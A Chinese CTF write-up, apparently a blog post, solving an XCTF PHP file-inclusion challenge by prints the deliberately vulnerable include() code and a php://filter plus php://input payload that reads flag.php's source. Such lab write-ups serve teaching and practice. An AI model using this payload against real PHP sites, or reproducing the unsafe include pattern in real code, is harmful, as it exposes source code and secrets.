关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是 PHP 文件包含漏洞与 PHP 伪协议,需要知道以下知识点:
-
php://filter
伪协议的用法(这个经常用,一般只使用 Base64 与特殊编码集绕过) -
php://input
伪协议的用户-
该协议可以访问请求的原始数据的只读流,即 POST 请求中的请求体部分的内容。
-
需要注意的是,当 enctype="multipart/form-data" 的时侯,php://input 是无效的。
-
0x02:Write UP
进入靶场,展示的是一个文件包含漏洞的相关代码,其接收两个参数,对应上述两个知识点:
-
- include("flag.php");
- highlight_file(__FILE__);
- if(isset($_GET["file1"]) && isset($_GET["file2"]))
- {
- $file1 = $_GET["file1"];
- $file2 = $_GET["file2"];
- if(!empty($file1) && !empty($file2))
- {
- if(file_get_contents($file2) === "hello ctf")
- {
- include($file1);
- }
- }
- else
- die("NONONO");
- }
首先分析代码,它包含了 flag.php
文件,但是你查看源码你肯定是没找到 Flag 的,说明 Flag 被注释掉了。要想拿到 Flag 必须对 flag.php
文件进行编码后读取。
而我们能控制的 include()
只有一个位置,其接收参数为 $file1
,所以很明显:
- // 包含 flag.php 文件,并对该文件进行 Base64 编码操作
- ?file1=php://filter/convert.base64-encode/resource=flag.php
在包含 Flag 之前,我们还需要过一关:
- // 要让 $file2 的内容为 hello ctf
- file_get_contents($file2) === "hello ctf"
我们要让 $file2
对应文件的内容为 hello ctf
,这除非其靶场本地刚好有这么一个文件,不过我猜是没有的。既然没有,我们就只能自己传了,咋传?用 php://input
传,所以 GET 型的请求参数如下:
?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input
访问上面的链接,并使用 BurpSuite 抓包,然后丢到 Repeater 中,往请求体中写入 hello ctf
,这样,目标后端在执行 file_get_contents()
函数时,就会读取我们写入的 hello ctf
:
将上面获得的 Base64 编码内容丢到工具中进行 Base64 解码即可拿到 Flag:
0x03:参考链接
php伪协议实现命令执行,任意文件读取_ctf php文件读取-CSDN博客该文章介绍了PHP伪协议中的file://和php://协议,以及利用data://协议实现了任意文件读取和命令执行的方法。文章还提供了具体的使用示例和注意事项。http://iyenn.com/rec/1646244.html
评论记录:
回复评论: